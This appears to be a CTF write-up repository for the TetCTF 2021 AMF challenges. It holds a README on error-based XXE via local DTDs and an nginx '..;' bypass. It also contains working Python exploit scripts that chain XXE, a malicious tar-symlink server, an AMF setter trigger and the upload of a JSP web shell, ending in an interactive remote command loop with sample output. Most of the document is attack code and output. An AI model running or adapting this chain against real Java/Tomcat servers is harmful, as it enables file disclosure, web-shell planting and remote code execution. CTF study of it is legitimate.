├── README.md ├── amfGenerator.jar ├── amf_xxe.py ├── jar_xxe_server.py ├── pocAMF1.ser ├── tar_symlink └── tetctf_exp.py /README.md: -------------------------------------------------------------------------------- 1 | # AMF1 2 | 3 | - in this challenge, it's about XXE with some specific techniques on Java 4 | 5 | - the blacklist is: `file|ftp|http|https|data|class|bash|logs|log|conf|etc|session|proc|root|history` 6 | 7 | - so you can't make a outbound request to get your remote DTD, this time we need a local DTD to archive XXE. Have a quick look on this awesome blog: https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/ 8 | 9 | - with the trick: `jar:/file://[some_zip_file]!/[dtd_inside_the_archive]`, we can make use of local DTD in some jars file of Tomcat 10 | - Reference: https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads_jars.md 11 | 12 | - Java has `netdoc://` protocol, which is same as `file://` 13 | 14 | - In the context of AMF, it will catch the Exception while handling the xml, and through it as HTTP Response, we can make use of this to archive XXE error-based 15 | - For ex: 16 | - `_://` => no protocol exception 17 | 18 | - Final Exploit 19 | - using `jar://` to load dtd inside some Tomcat jars 20 | - using `netdoc://` instead of `file://`, `netdoc://` or `file://` can also listing the directory (use to find the flag) 21 | - amf context exif error message via HTTP Respose + `_://` => error-based XXE 22 | 23 | python amf_xxe.py "http://139.162.40.239:1337/tetctf/messagebroker/amf" foo tetctf_v1 24 | 25 | 26 | # AMF2 27 | - tomcat with nginx, the most misconfiguration in 2020, which leading to many RCEs 28 | - with `/tetctf/dummy/..;/messagebroker` you can bypass nginx 403 and reach AMF endpoints 29 | - in the second challenge, we exploit another bug on AMF, trigger `readExternal()` or some public `setters`, this allow us to trigger the `setBackupFile` of `TetCTFUtils` 30 | - `TetCTFUtils.setBackupFile()` execute a `tar` command on arbitrary file on the system, so we need to create and upload a tar symlink file to server with `UploadServlet` 31 | - Another clever way, we can make use of XXE with `jar:http://host/a.zip!/a.txt` with a custom socket server to make the server save the tmp file, and hang the connection to make the tmp file not deleted for a while, then use the xxe bug with `file://` to listing the directory to view the file name of tmp file, and finally, trigger the setter 32 | - The last step: when we have created the symlink to the webroot, we just need to write our shell to the file we symlink to our webshell, so you can pass all the filter in the `UploadServlet` 33 | 34 | ## on your server run: 35 | python jar_xxe_server.py 36 | 37 | - edit the content of payload `trigger_jar_xxe` in `amf_xxe.py` to point to your socket server 38 | 39 | ## python tetctf_exp.py 40 | 41 | 42 | [+] trigger_amf_xxe etc_hosts 43 | etc_hosts output: 44 | 127.0.0.1 localhost 45 | ::1 localhost ip6-localhost ip6-loopback 46 | fe00::0 ip6-localnet 47 | ff00::0 ip6-mcastprefix 48 | ff02::1 ip6-allnodes 49 | ff02::2 ip6-allrouters 50 | 172.17.0.3 02688b965fbd (No such file or directory)...Bwlb..... 51 | [+] Done 52 | [+] trigger_amf_xxe trigger_jar_xxe 53 | [+] trigger_amf_xxe get_tmp_filename 54 | get_tmp_filename output: 55 | jar_cache7343514775749524690.tmp 56 | safeToDelete.tmp (No such file or directory)...Bwlb.2... 57 | [+] Done 58 | [+] tmp filename: jar_cache7343514775749524690.tmp 59 | [+] generate_amf_setter_payload 60 | [+] trigger_setter 61 | AppendToGatewayUrl,;jsessionid=A9A1197B578F257C267FABA24A88FF87 /onStatus 62 | C coderootCausedetailsmessage#Server.ProcessinThe supplied destination id is not registered with any service. 63 | [+] upload_via_symlink 64 | { "serviceResponse":"true", "serviceError":null, "serviceName":"File Upload", "opName":"fileUpload" } 65 | [+] done, enjoy shell 66 | /peterjson@remote_shell/~.~ 67 | id 68 | 69 | uid=1000(service) gid=1000(service) groups=1000(service) 70 | 71 | 72 | None 73 | /peterjson@remote_shell/~.~ 74 | whoami 75 | 76 | service 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /amfGenerator.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterjson31337/tetctf2021/4892cca6953d924832da657f33736f6e12417fd4/amfGenerator.jar -------------------------------------------------------------------------------- /amf_xxe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # AMF XXE tool 4 | # by Nicolas Gregoire / @Agarri_FR 5 | 6 | import string, struct, sys, re 7 | import requests 8 | 9 | ########### 10 | # Helpers # 11 | ########### 12 | 13 | proxy = { 14 | "http": "http://127.0.0.1:8888", 15 | "https" : "http://127.0.0.1:8888", 16 | } 17 | 18 | def usage(): 19 | 20 | # Build a string containing the payload names 21 | keys = get_payloads().keys() 22 | keys.sort() 23 | names = ', '.join(keys) 24 | 25 | # Print to user 26 | print "[!] Invalid arguments" 27 | print "- 1st arg: target URL" 28 | print "- 2nd arg: target service" 29 | print "- 3rd arg: payload name (%s)" % names 30 | print "[+] Example: %s http://0x0:8081/ echo %s" % (sys.argv[0], keys[0]) 31 | sys.exit() 32 | 33 | def send(url, body): 34 | 35 | # POST an AMF message 36 | ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:6.6.6) Gecko/20150401 Firefox/3.1.33.7' 37 | settings = { 'User-Agent': ua, 'Content-Type': 'application/x-amf' } 38 | print "[+] Sending the request..." 39 | try: 40 | r = requests.post(url, data=body, headers=settings, timeout=5,proxies=proxy) 41 | print('[+] Response code: %d' % r.status_code) 42 | # Clean the result before display 43 | clean = re.sub('[^ \r\n\t!-~]', '.', r.content) 44 | print('[+] Body:\n%s' % clean) 45 | except requests.exceptions.ConnectionError: 46 | print ('[!] Cannot connect to target...') 47 | except requests.exceptions.Timeout: 48 | print ('[!] Connection OK, but a timeout was reached...') 49 | 50 | ############# 51 | # XML stuff # 52 | ############# 53 | 54 | def get_payloads(): 55 | 56 | xml = {} 57 | xml['static'] = 'Static content' 58 | xml['internal'] = ' ]>Internal entity: &foo;' 59 | xml['ext_group'] = ' ]>External entity 1: &foo;' 60 | xml['ext_rand'] = ' ]>External entity 2: &foo;' 61 | xml['ext_url'] = ' ]>External entity 3: &foo;' 62 | xml['prm_group'] = ' %foo; ]>Parameter entity 1' 63 | xml['prm_rand'] = ' %foo; ]>Parameter entity 2' 64 | 65 | 66 | xml['prm_url'] = ' %foo; ]>Parameter entity 3' 67 | 68 | 69 | xml['ftp'] = ''' ]>External entity 1: &foo;''' 70 | 71 | xml['tetctf_v1'] = ''' 73 | 74 | 75 | "> 76 | %eval; 77 | %error; 78 | 79 | %local_dtd; 80 | ]> 81 | ''' 82 | 83 | 84 | xml['etc_hosts'] = ''' 86 | 87 | 88 | "> 89 | %eval; 90 | %error; 91 | 92 | %local_dtd; 93 | ]> 94 | ''' 95 | 96 | xml['get_tmp_filename'] = ''' 98 | 99 | 100 | "> 101 | %eval; 102 | %error; 103 | 104 | %local_dtd; 105 | ]> 106 | ''' 107 | 108 | 109 | xml['trigger_jar_xxe'] = ''' 111 | 112 | 113 | "> 114 | %eval; 115 | %error; 116 | 117 | %local_dtd; 118 | ]> 119 | ''' 120 | 121 | 122 | xml['dtd_group'] = 'Remote DTD 1' 123 | xml['dtd_rand'] = 'Remote DTD 2' 124 | xml['dtd_url'] = 'Remote DTD 3' 125 | return xml 126 | 127 | def get_payload(name): 128 | 129 | xml = get_payloads() 130 | try: 131 | return xml[name] 132 | except KeyError: 133 | usage() 134 | 135 | ############# 136 | # AMF stuff # 137 | ############# 138 | 139 | def encode(string, xml=False): 140 | 141 | string = string.encode('utf-8') 142 | if xml: 143 | const = '\x0f' # AMF0 XML document 144 | size = struct.pack("!L", len(string)) # Size on 4 bytes 145 | else: 146 | const = '' # AMF0 URI 147 | size = struct.pack("!H", len(string)) # Size on 2 bytes 148 | return const + size + string 149 | 150 | def build_amf_packet(svc, xml_str): 151 | 152 | # Message 153 | array_with_one_entry = '\x0a' + '\x00\x00\x00\x01' # AMF0 Array 154 | msg = array_with_one_entry + encode(xml_str, xml=True) 155 | 156 | # Body 157 | target_uri = encode(svc) # Target URI 158 | response_uri = encode('foobar') # Response URI 159 | sz_msg = struct.pack("!L", len(msg)) 160 | body = target_uri + response_uri + sz_msg + msg 161 | 162 | # Packet 163 | version = '\x00\x03' # Version 164 | headers = '\x00\x00' # No headers 165 | bodies = '\x00\x01' + body # One body 166 | packet = version + headers + bodies 167 | 168 | return packet 169 | 170 | ############# 171 | # Main code # 172 | ############# 173 | 174 | # Parse arguments 175 | if (len(sys.argv) != 4): 176 | usage() 177 | target_url = sys.argv[1] 178 | target_svc = sys.argv[2] 179 | payload_name = sys.argv[3] 180 | payload = get_payload(payload_name) 181 | 182 | # Build AMF packet 183 | amf_pkt = build_amf_packet(target_svc, payload) 184 | 185 | # Display some info 186 | print "[+] Target URL: '%s'" % target_url 187 | print "[+] Target service: '%s'" % target_svc 188 | # print "[+] Payload '%s': '%s'" % (payload_name, payload) 189 | 190 | # Send to target 191 | send(target_url, amf_pkt) 192 | print('[+] Done') 193 | -------------------------------------------------------------------------------- /jar_xxe_server.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import time 3 | import threading 4 | import socketserver 5 | import telnetlib 6 | import socket 7 | from cStringIO import StringIO 8 | from contextlib import closing 9 | import tarfile 10 | import os 11 | 12 | def _build_tar_symlink(target): 13 | f = StringIO() 14 | t = tarfile.TarInfo() 15 | t.name = 'peterjson' 16 | t.mode |= 0120000 << 16L # symlink file type 17 | t.type = tarfile.SYMTYPE 18 | t.linkname = target 19 | with closing(tarfile.open(fileobj=f, mode="w")) as tar: 20 | tar.addfile(t, target) 21 | return f.getvalue() 22 | 23 | class JarRequestHandler(socketserver.BaseRequestHandler): 24 | def handle(self): 25 | http_req = b'' 26 | print('New connection:',self.client_address) 27 | while b'\r\n\r\n' not in http_req: 28 | try: 29 | http_req += self.request.recv(4096) 30 | print('\r\nClient req:\r\n',http_req.decode()) 31 | jf = open("tar_symlink", 'rb') 32 | contents = jf.read() 33 | headers = ('''HTTP/1.0 200 OK\r\n''' 34 | '''Content-Type: application/java-archive\r\n\r\n''') 35 | self.request.sendall(headers.encode('ascii')) 36 | self.request.sendall(contents[:-1]) 37 | time.sleep(20) 38 | print("done") 39 | self.request.sendall(contents[-1:]) 40 | except Exception as e: 41 | print ("get error at:"+str(e)) 42 | 43 | 44 | if __name__ == '__main__': 45 | try: 46 | tar_symlink = _build_tar_symlink("/home/service/apache-tomcat-7.0.99/webapps/tetctf/peterjson.jsp") 47 | f = open("tar_symlink","wb+") 48 | f.write(tar_symlink) 49 | f.write(tar_symlink[:1]) 50 | f.close() 51 | jarserver = socketserver.TCPServer(("0.0.0.0",9999), JarRequestHandler) 52 | print ('waiting for connection...') 53 | server_thread = threading.Thread(target=jarserver.serve_forever) 54 | server_thread.daemon = True 55 | server_thread.start() 56 | server_thread.join() 57 | except KeyboardInterrupt: 58 | sys.exit(-1) -------------------------------------------------------------------------------- /pocAMF1.ser: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterjson31337/tetctf2021/4892cca6953d924832da657f33736f6e12417fd4/pocAMF1.ser -------------------------------------------------------------------------------- /tar_symlink: -------------------------------------------------------------------------------- 1 | peterjson0000644000000000000000000000000000000000000024467 2/home/service/apache-tomcat-7.0.99/webapps/tetctf/peterjson.jspustar 00000000000000p -------------------------------------------------------------------------------- /tetctf_exp.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | import threading 4 | import subprocess 5 | import time 6 | import sys 7 | 8 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 9 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 10 | 11 | 12 | proxy = { 13 | "http": "http://127.0.0.1:8888", 14 | "https" : "http://127.0.0.1:8888", 15 | } 16 | 17 | def excute_subprocess(list_cmd): 18 | p = subprocess.Popen(list_cmd,stdout=subprocess.PIPE, stderr=subprocess.PIPE) 19 | out, err = p.communicate() 20 | return out,err 21 | 22 | 23 | def generate_amf_setter_payload(filePath): 24 | os.system("java -cp amfGenerator.jar base.peterjson.Main \"%s\"" % filePath) 25 | 26 | def trigger_setter(url): 27 | burp0_url = url + "/tetctf/abc/..;/messagebroker/amf" 28 | data = open("pocAMF1.ser","rb") 29 | r = requests.post(burp0_url, data=data,proxies=proxy) 30 | print(r.content) 31 | 32 | 33 | def trigger_amf_xxe(url,method): 34 | try: 35 | out,err = excute_subprocess(["python","amf_xxe.py","%s/tetctf/abc/..;/messagebroker/amf" % url,"foo","%s" % method]) 36 | out = out.split("peterjson/")[1].strip() 37 | print("%s output: " % method) 38 | print(out) 39 | return out 40 | except: 41 | pass 42 | 43 | 44 | def _get_jsp(): 45 | jsp = """<%@ page import="java.util.*,java.io.*"%> 46 | <% 47 | String command = request.getParameter("cmd"); 48 | if (command != null) { 49 | ProcessBuilder process = new ProcessBuilder(); 50 | if(System.getProperty("os.name").toLowerCase().startsWith("windows")){ 51 | process.command("powershell.exe","-c",command); 52 | } else { 53 | process.command("/bin/sh","-c", command); 54 | } 55 | process.redirectErrorStream(true); 56 | Process p = process.start(); 57 | InputStreamReader inputStreamReader = new InputStreamReader(p.getInputStream()); 58 | BufferedReader bufferedReader = new BufferedReader(inputStreamReader); 59 | String line = ""; 60 | String output = ""; 61 | while((line = bufferedReader.readLine()) != null){ 62 | output = output + line + "\\n"; 63 | } 64 | out.println(output); 65 | response.setStatus(404); 66 | } else{ 67 | response.setStatus(404); 68 | } 69 | %>""" 70 | return jsp 71 | 72 | 73 | def upload_via_symlink(url): 74 | burp0_url = url + "/tetctf/uploadServlet?filePath=/tmp/backup13337/peterjson" 75 | files = {'dummy': _get_jsp()} 76 | r = requests.post(burp0_url, files=files,proxies=proxy) 77 | print(r.content) 78 | 79 | def exec_cmd(url,cmd): 80 | burp0_url = url + "/tetctf/peterjson.jsp" 81 | burp0_cookies = {"JSESSIONID": "578A28D99AAE35BCA1D5E8C9339D9145"} 82 | burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} 83 | burp0_data = {"cmd": cmd} 84 | r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) 85 | print(r.content) 86 | 87 | def run_cmd(url,cmd): 88 | if "quit" in cmd: 89 | print("Exiting ...") 90 | sys.exit(-1) 91 | else: 92 | return exec_cmd(url,cmd) 93 | 94 | if __name__ == '__main__': 95 | # url = "http://192.168.111.202:1337" 96 | url = "http://139.162.40.239:13337" 97 | print("[+] trigger_amf_xxe etc_hosts") 98 | trigger_amf_xxe(url,"etc_hosts") 99 | time.sleep(1) 100 | print("[+] trigger_amf_xxe trigger_jar_xxe") 101 | t = threading.Thread(target=trigger_amf_xxe, args=((url,"trigger_jar_xxe"))) 102 | t.start() 103 | time.sleep(1) 104 | print("[+] trigger_amf_xxe get_tmp_filename") 105 | tmp_file = trigger_amf_xxe(url,"get_tmp_filename").split("\n")[0].strip() 106 | print("[+] tmp filename: " + tmp_file) 107 | time.sleep(1) 108 | print("[+] generate_amf_setter_payload") 109 | generate_amf_setter_payload("/home/service/apache-tomcat-7.0.99/temp/" + tmp_file) 110 | print("[+] trigger_setter") 111 | trigger_setter(url) 112 | time.sleep(1) 113 | print("[+] upload_via_symlink") 114 | upload_via_symlink(url) 115 | print("[+] done, enjoy shell") 116 | 117 | while True: 118 | cmd = raw_input("/peterjson@remote_shell/~.~\n").strip() 119 | output = run_cmd(url,cmd) 120 | print(output) 121 | 122 | 123 | --------------------------------------------------------------------------------